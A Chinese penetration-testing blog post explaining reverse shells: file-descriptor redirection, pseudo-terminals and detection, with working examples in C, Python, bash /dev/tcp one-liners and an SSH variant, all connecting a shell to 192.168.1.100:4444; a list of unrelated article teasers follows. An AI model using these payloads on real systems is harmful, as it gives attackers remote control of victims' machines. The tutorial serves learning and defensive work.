【渗透测试】反弹 Shell 技术详解(一)
反弹 Shell 技术详解
一、前置知识
反弹 shell(Reverse Shell)是一种技术,攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下,反弹 shell 会将标准输入(stdin)、标准输出(stdout)和标准错误(stderr)重定向到网络套接字(socket),以便在远程主机上执行命令并接收结果。攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到控制受害服务器的目的。
二、反弹 Shell 的基本原理
1. 典型反弹 Shell 的原理
在典型的反弹 shell 中,攻击者会创建一个套接字(socket),并将其绑定到标准输入、输出和错误的文件描述符(0, 1, 2)。这样做的目的是让所有用户输入、程序输出和错误信息都通过这个套接字传输到远程服务器。
2. 文件描述符重定向
为了实现反弹 shell,一般需要以下几个步骤:
- 创建一个套接字 并连接到远程服务器。
- 使用
dup2()系统调用将 标准输入(0)、标准输出(1)和标准错误(2)重定向到该套接字。 - 执行一个新的 shell(如
/bin/sh或/bin/bash),使得新启动的 shell 使用这些重定向的文件描述符。
C 语言实现示例:
int main() {int sockfd;struct sockaddr_in server_addr;// 创建套接字sockfd = socket(AF_INET, SOCK_STREAM, 0);if (sockfd < 0) {perror("Socket creation failed");return -1;}// 设置服务器地址server_addr.sin_family = AF_INET;server_addr.sin_port = htons(4444); // 目标端口inet_pton(AF_INET, "192.168.1.100", &server_addr.sin_addr); // 目标IP地址// 连接到服务器if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {perror("Connection failed");return -1;}// 将标准输入、输出和错误重定向到套接字dup2(sockfd, 0); // stdindup2(sockfd, 1); // stdoutdup2(sockfd, 2); // stderr// 执行新的 shellexecve("/bin/sh", NULL, NULL);close(sockfd);return 0;
}
3. 关于文件描述符 0 1 2 的使用
并不是所有的反弹 shell 实现都严格使用文件描述符 0, 1, 2 指向套接字。虽然这是最常见的方式,但也有其他方法可以实现类似的效果:
-
直接使用套接字文件描述符
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 -
使用其他文件描述符
int sockfd = socket(AF_INET, SOCK_STREAM, 0); dup2(sockfd, 10); // 使用文件描述符 10 作为输出 dup2(sockfd, 11); // 使用文件描述符 11 作为输入 dup2(sockfd, 12); // 使用文件描述符 12 作为错误 -
使用管道或者命名管道
复杂的反弹 shell 实现可能会使用管道(pipe)或命名管道(FIFO)来实现数据的传递,而不是直接使用套接字文件描述符。
三、几种常见的反弹 Shell 的实现方式对比
使用 Bash 实现反弹 Shell
工作机制
Bash 是一个 Unix shell 和命令语言,广泛用于脚本编写和命令行操作。可以直接使用 Bash 内置功能来创建一个连接到远程服务器的交互式 shell。
文件描述符处理
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
- 0 (stdin): 标准输入被重定向到 /dev/tcp/192.168.1.100/4444
- 1 (stdout): 标准输出被重定向到 /dev/tcp/192.168.1.100/4444
- 2 (stderr): 标准错误被重定向到 /dev/tcp/192.168.1.100/4444
基于网络套接字 Socket 的反弹 Shell 实现
示例代码【Python】
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0) # 将标准输入重定向到套接字
os.dup2(s.fileno(), 1) # 将标准输出重定向到套接字
os.dup2(s.fileno(), 2) # 将标准错误重定向到套接字
subprocess.call(["/bin/sh", "-i"]) # 启动交互式 Bash shell
基于 SSH 的反弹 Shell 实现
示例代码【SSH】
ssh -R 4444:localhost:22 user@remote_server "bash -i >& /dev/tcp/localhost/4444 0>&1"
命令解释如下:
ssh -R:启用 ssh 远程端口转发功能,远端服务器的该端口流量转发到本地(远端启用端口给本地的操作机用)-R 4444:localhost:22:在远程服务器上打开端口 4444,并将其转发到本地的 SSH 端口 22user@remote_server:指定远程服务器的用户名和地址"bash -i >& /dev/tcp/localhost/4444 0>&1":在远程服务器上启动一个交互式 Bash shell,并将其标准输入、输出和错误重定向到本地的 4444 端口。
其他反弹方式
- 基于各种编程语言实现,原理和上述雷同
- 基于各种第三方工具实现,原理上述相同
- 复杂的反弹 shell 语句,结合各种管道(包括命名管道),伪终端中转和内存文件实现等
其他知识补充
伪终端
伪终端是指在 Linux 系统中,由终端模拟器创建的一对字符设备,包括一个 master 端和一个 slave 端。
设备类型
- master 端:位于用户态,对应一个文件描述符,用于与终端模拟器(如终端窗口)交互。
- slave 端:位于
/dev/pts/目录下的一个文件,用于与运行在虚拟终端上的程序交互。
功能与作用
- 数据转发:伪终端驱动程序负责将 master 端的输入数据转发给 slave 端,反之亦然。例如,用户在终端窗口中输入的命令通过 master 端传送给 shell,shell 的输出则通过 slave 端返回给终端窗口显示。
- 虚拟化:允许在图形界面或远程连接中模拟实际终端的行为,使得程序能够像在真实终端上运行一样,处理键盘输入和屏幕输出。
应用场景
- 图形界面终端:如 xterm、gnome-terminal 等,通过伪终端实现用户与 shell 的交互。
- 远程 shell:如 ssh 连接,客户端和服务器之间通过伪终端中继输入和输出。
- 多路复用器:如 screen 和 tmux,通过伪终端实现会话的多路复用和切换。
技术实现
- 创建伪终端:通过打开
/dev/ptmx文件,系统会生成一个新的伪终端对,包括一个 master 和一个 slave 设备。 - 文件描述符:master 端是一个文件描述符,而 slave 端是一个
/dev/pts/nn文件,nn 是一个数字,表示特定的伪终端。
与终端的区别
- 终端(tty):是物理设备或虚拟控制台,如 tty1-6,直接连接到键盘和显示器。
- 伪终端(pty):是软件模拟的虚拟终端,用于图形界面或远程连接,提供与终端相似的功能。
安全性与检测
在反弹 Shell 的上下文中,伪终端可以被用来重定向 shell 的输入输出到网络连接,从而实现远程控制。例如,通过 bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1 命令,可以将 shell 的输入输出重定向到指定的 TCP 地址,实现反弹 Shell 的功能。这种行为在安全检测中可能被视为异常,因为它绕过了正常的输入输出路径。
by 久违
好久没写了,抽空梳理点基础知识
相关文章:
【渗透测试】反弹 Shell 技术详解(一)
反弹 Shell 技术详解 一、前置知识 反弹 shell(Reverse Shell)是一种技术,攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下,反弹 shell 会将标准输入(stdin)、标准输出(…...
python:pymunk + pygame 模拟六边形中小球弹跳运动
向 chat.deepseek.com 提问:编写 python 程序,用 pymunk, 有一个正六边形,围绕中心点缓慢旋转,六边形内有一个小球,六边形的6条边作为墙壁,小球受重力和摩擦力、弹力影响,模拟小球弹跳运动&…...
Windows 图形显示驱动开发-WDDM 3.2-本机 GPU 围栏对象(二)
GPU 和 CPU 之间的同步 CPU 必须执行 MonitoredValue 的更新,并读取 CurrentValue,以确保不会丢失正在进行的信号中断通知。 当向系统中添加新的 CPU 等待程序时,或者如果现有的 CPU 等待程序失效时,OS 必须修改受监视的值。OS …...
23种设计模式之《模板方法模式(Template Method)》在c#中的应用及理解
程序设计中的主要设计模式通常分为三大类,共23种: 1. 创建型模式(Creational Patterns) 单例模式(Singleton):确保一个类只有一个实例,并提供全局访问点。 工厂方法模式࿰…...
DEV-C++ 为什么不能调试?(正确解决方案)
为了备战pat考试,专门下载了DEV C,然后懵圈的发现,怎么无法调试(╯□)╯︵ ┻━┻ 然后整了半天,终于在网上找到相应的解决方案!!!-> Dev C 5.11 调试初始设置 <- 一共四步…...
【C++设计模式】第五篇:原型模式(Prototype)
注意:复现代码时,确保 VS2022 使用 C17/20 标准以支持现代特性。 克隆对象的效率革命 1. 模式定义与用途 核心思想 原型模式:通过复制现有对象(原型)来创建新对象,而非通过new构造。关键用…...
深入 Vue.js 组件开发:从基础到实践
深入 Vue.js 组件开发:从基础到实践 Vue.js 作为一款卓越的前端框架,其组件化开发模式为构建高效、可维护的用户界面提供了强大支持。在这篇博客中,我们将深入探讨 Vue.js 组件开发的各个方面,从基础概念到高级技巧,助…...
maven导入spring框架
在eclipse导入maven项目, 在pom.xml文件中加入以下内容 junit junit 3.8.1 test org.springframework spring-core ${org.springframework.version} org.springframework spring-beans ${org.springframework.version} org.springframework spring-context ${org.s…...
数据守护者:备份文件的重要性与自动化实践策略
在数字化浪潮席卷全球的今天,数据已成为企业运营和个人生活中不可或缺的核心资源。无论是企业的财务报表、客户资料,还是个人的家庭照片、工作文档,这些数据都承载着巨大的价值。然而,数据丢失的风险无处不在,硬件故障…...
MyBatis @Param 注解详解:指定的参数找不到?
MyBatis Param 注解详解 1. Param 注解的作用 Param 注解用于显式指定方法参数的名称,让 MyBatis 在 SQL 映射文件(XML)或注解中通过该名称访问参数。 核心场景: 方法有多个参数时,避免参数名丢失或混淆。参数为简单…...
【项目日记(八)】内存回收与联调
前言 我们前面实现了三层缓存申请的过程,并完成了三层缓存申请过程的联调!本期我们来介绍三层的缓存的回收机制以及三层整体联调释放的过程。 目录 前言 一、thread cache 回收内存 二、central cache 回收内存 • 如何确定一个对象对应的span • …...
性能测试监控工具jmeter+grafana
1、什么是性能测试监控体系? 为什么要有监控体系? 原因: 1、项目-日益复杂(内部除了代码外,还有中间件,数据库) 2、一个系统,背后可能有多个软/硬件组合支撑,影响性能的因…...
016.3月夏令营:数理类
016.3月夏令营:数理类: 中国人民大学统计学院: http://www.eeban.com/forum.php?modviewthread&tid386109 北京大学化学学院第一轮: http://www.eeban.com/forum.php?m ... 6026&extrapage%3D1 香港大学化学系夏令营&a…...
CS144 Lab Checkpoint 0: networking warm up
Set up GNU/Linux on your computer 我用的是Ubuntu,按照指导书上写的输入如下命令安装所需的软件包: sudo apt update && sudo apt install git cmake gdb build-essential clang \ clang-tidy clang-format gcc-doc pkg-config glibc-doc tc…...
靶场之路-VulnHub-DC-6 nmap提权、kali爆破、shell反连
靶场之路-VulnHub-DC-6 一、信息收集 1、扫描靶机ip 2、指纹扫描 这里扫的我有点懵,这里只有两个端口,感觉是要扫扫目录了 nmap -sS -sV 192.168.122.128 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u6 (protoc…...
给没有登录认证的web应用添加登录认证(openresty lua实现)
这阵子不是deepseek火么?我也折腾了下本地部署,ollama、vllm、llama.cpp都弄了下,webui也用了几个,发现nextjs-ollama-llm-ui小巧方便,挺适合个人使用的。如果放在网上供多人使用的话,得接入登录认证才好&a…...
3月5日作业
代码作业: #!/bin/bash# 清空目录函数 safe_clear_dir() {local dir"$1"local name"$2"if [ -d "$dir" ]; thenwhile true; doread -p "检测到 $name 目录已存在,请选择操作: 1) 清空目录内容 2) 保留目…...
【MySQL】增删改查
目录 一、新增(Create) 单行数据 全列插入 多行数据 指定列插入 插入时间 二、查询(Retrieve) 全列查询 指定列查询 查询字段为表达式 别名 去重:DISTINCT 排序:ORDER BY 条件查询࿱…...
【三维生成】StarGen:基于视频扩散模型的可扩展的时空自回归场景生成
标题:《StarGen: A Spatiotemporal Autoregression Framework with Video Diffusion Model for Scalable and Controllable Scene Generation》 项目:https://zju3dv.github.io/StarGen 来源:商汤科技、浙大CAD、Tetras.AI 文章目录 摘要一、…...
线反转法实现矩形键盘按键识别
由于行、列线为多键共用,各按键彼此将相互发 生影响,必须将行、列线信号配合起来并作适当的处 理,才能确定闭合键的位置。 线反转法 第1步:列线输出为全低电平,则行线中电平由高变低 的所在行为按键所在行。 第2步&…...
基于智能体(Agent)的自动化图像工作流:Wan2.2-I2V-A14B与任务编排
基于智能体(Agent)的自动化图像工作流:Wan2.2-I2V-A14B与任务编排 1. 引言:当图像生成遇上智能体 想象一下这样的场景:你需要为电商平台制作一组节日主题的广告图,包含特定风格的背景、商品展示和人物互动…...
RevokeMsgPatcher 2.1 终极指南:Windows平台微信QQ消息防撤回实战解决方案
RevokeMsgPatcher 2.1 终极指南:Windows平台微信QQ消息防撤回实战解决方案 【免费下载链接】RevokeMsgPatcher :trollface: A hex editor for WeChat/QQ/TIM - PC版微信/QQ/TIM防撤回补丁(我已经看到了,撤回也没用了) 项目地址:…...
NaViL-9B多模态提示词工程:提升图文理解准确率的10个实用技巧
NaViL-9B多模态提示词工程:提升图文理解准确率的10个实用技巧 1. 认识NaViL-9B多模态模型 NaViL-9B是一款原生支持多模态交互的大语言模型,能够同时处理文本和图像输入。与传统的纯文本模型不同,它可以直接"看懂"图片内容&#x…...
OpenClaw效率对比:GLM-4.7-Flash与云端API实测数据
OpenClaw效率对比:GLM-4.7-Flash与云端API实测数据 1. 测试背景与动机 上周在优化个人自动化工作流时,我遇到了一个实际选择难题:应该用本地部署的GLM-4.7-Flash模型,还是继续使用云端API服务?这个问题看似简单&…...
Flutter 实现点击任意位置收起键盘的最佳实践
痛点 在 Flutter 开发中,TextField 聚焦后会弹出键盘,关闭键盘通常需要: 点击系统返回键点击输入框外的空白区域(但很多情况下点击空白区域也没反应)点击其他输入框(键盘会切换到另一个输入框,不…...
质子交换膜燃料电池Comsol完整版仿真模型:涵盖两相流非等温雾状流道、液态水相变及扩散项,考...
质子交换膜燃料电池仿真Comsol完整版 虽然氢电发文量多了,但是氢电模型复杂程度和别的领域没法比,两相流非等温的氢燃料电池,跑通的都得好几千的,这个模型的流道和内侧都是多相流,这个里面是雾状流的流道,目…...
tmux快速上手指南:3个核心命令与1个关键快捷键解析
1. 为什么你需要tmux? 如果你经常在服务器上工作,肯定遇到过这样的场景:正在跑一个耗时很长的任务,突然网络波动导致SSH连接断开,所有进程都被终止,几个小时的成果瞬间消失。这种时候,tmux就是你…...
NRF_LOG时间戳配置全攻略:从sdk_config.h修改到RTT Viewer显示(附常见问题排查)
NRF_LOG时间戳配置全攻略:从sdk_config.h修改到RTT Viewer显示(附常见问题排查) 在嵌入式开发中,日志系统是调试和问题排查的重要工具。对于使用Nordic Semiconductor芯片的开发者来说,NRF_LOG结合RTT Viewer提供了高效…...
SDMatte惊艳抠图效果展示:10组高难度玻璃/纱布/叶片实测对比图
SDMatte惊艳抠图效果展示:10组高难度玻璃/纱布/叶片实测对比图 1. 开篇:当AI遇见高难度抠图 在图像处理领域,抠图一直是个技术活。特别是遇到玻璃杯、薄纱窗帘、树叶这些半透明或边缘复杂的物体时,传统工具往往力不从心。今天我…...
Ubuntu 22.04 开机卡在/dev/sda3: clean的磁盘空间分析与扩容实战
1. 问题现象与初步诊断 当你兴冲冲地按下Ubuntu 22.04的开机键,却看到屏幕卡在/dev/sda3: clean这个神秘提示时,那种感觉就像开车时突然遇到路障——明明昨天还能正常使用,今天怎么就罢工了?这种情况我遇到过不止一次,…...
